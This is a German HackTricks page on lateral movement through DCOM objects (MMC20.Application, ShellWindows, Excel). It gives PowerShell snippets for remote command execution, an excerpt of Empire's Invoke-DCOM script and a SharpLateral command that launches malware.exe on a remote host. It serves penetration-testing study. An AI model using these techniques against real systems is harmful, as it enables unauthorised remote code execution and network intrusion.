DCOM Exec

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Try Hard Security Group


MMC20.Application

Für weitere Informationen zu dieser Technik überprüfen Sie den Originalbeitrag von https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

Das Distributed Component Object Model (DCOM) bietet interessante Möglichkeiten für netzwerkbasierte Interaktionen mit Objekten. Microsoft bietet umfassende Dokumentationen sowohl für DCOM als auch für das Component Object Model (COM), die hier für DCOM und hier für COM abrufbar sind. Eine Liste von DCOM-Anwendungen kann mit dem PowerShell-Befehl abgerufen werden:

Get-CimInstance Win32_DCOMApplication

Der COM-Objekt MMC Application Class (MMC20.Application) ermöglicht das Skripting von MMC-Snap-In-Operationen. Dieses Objekt enthält insbesondere eine ExecuteShellCommand-Methode unter Document.ActiveView. Weitere Informationen zu dieser Methode finden Sie hier. Überprüfen Sie dies, indem Sie Folgendes ausführen:

Diese Funktion erleichtert die Ausführung von Befehlen über ein Netzwerk durch eine DCOM-Anwendung. Um remote als Administrator mit DCOM zu interagieren, kann PowerShell wie folgt verwendet werden:

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

Dieser Befehl verbindet sich mit der DCOM-Anwendung und gibt eine Instanz des COM-Objekts zurück. Die ExecuteShellCommand-Methode kann dann aufgerufen werden, um einen Prozess auf dem Remote-Host auszuführen. Der Prozess umfasst die folgenden Schritte:

Überprüfen von Methoden:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

Erhalten Sie RCE:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows & ShellBrowserWindow

Für weitere Informationen zu dieser Technik lesen Sie den Originalbeitrag https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

Das Objekt MMC20.Application wurde identifiziert, um explizite "LaunchPermissions" zu fehlen, was zu Berechtigungen führt, die Administratoren Zugriff gewähren. Für weitere Details kann ein Thread hier erkundet werden, und die Verwendung von @tiraniddo’s OleView .NET zur Filterung von Objekten ohne explizite Startberechtigung wird empfohlen.

Zwei spezifische Objekte, ShellBrowserWindow und ShellWindows, wurden aufgrund ihres Fehlens expliziter Startberechtigungen hervorgehoben. Das Fehlen eines LaunchPermission-Registrierungseintrags unter HKCR:\AppID\{guid} bedeutet keine expliziten Berechtigungen.

ShellWindows

Für ShellWindows, das keine ProgID hat, erleichtern die .NET-Methoden Type.GetTypeFromCLSID und Activator.CreateInstance die Objektinstanziierung unter Verwendung seiner AppID. Dieser Prozess nutzt OleView .NET, um die CLSID für ShellWindows abzurufen. Sobald instanziiert, ist eine Interaktion über die Methode WindowsShell.Item möglich, was zu Methodenaufrufen wie Document.Application.ShellExecute führt.

Beispiel-PowerShell-Befehle wurden bereitgestellt, um das Objekt zu instanziieren und Befehle remote auszuführen:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Laterale Bewegung mit Excel DCOM-Objekten

Die laterale Bewegung kann durch die Ausnutzung von DCOM Excel-Objekten erreicht werden. Für detaillierte Informationen empfiehlt es sich, die Diskussion über die Nutzung von Excel DDE für laterale Bewegung über DCOM im Cybereason-Blog zu lesen.

Das Empire-Projekt bietet ein PowerShell-Skript, das die Verwendung von Excel zur Ausführung von Remotecode (RCE) durch Manipulation von DCOM-Objekten demonstriert. Im Folgenden sind Auszüge aus dem Skript auf Empires GitHub-Repository zu sehen, die verschiedene Methoden zur Ausnutzung von Excel für RCE zeigen:

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Automatisierungstools für laterale Bewegung

Zwei Tools werden hervorgehoben, um diese Techniken zu automatisieren:

  • Invoke-DCOM.ps1: Ein PowerShell-Skript, das vom Empire-Projekt bereitgestellt wird und die Ausführung verschiedener Methoden zur Codeausführung auf entfernten Maschinen vereinfacht. Dieses Skript ist im Empire GitHub-Repository verfügbar.

  • SharpLateral: Ein Tool, das für die Remote-Codeausführung entwickelt wurde und mit dem Befehl verwendet werden kann:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Automatische Tools

  • Das Powershell-Skript Invoke-DCOM.ps1 ermöglicht es, alle auskommentierten Methoden zum Ausführen von Code auf anderen Maschinen einfach aufzurufen.

  • Sie könnten auch SharpLateral verwenden:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Referenzen

Try Hard Security Group

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated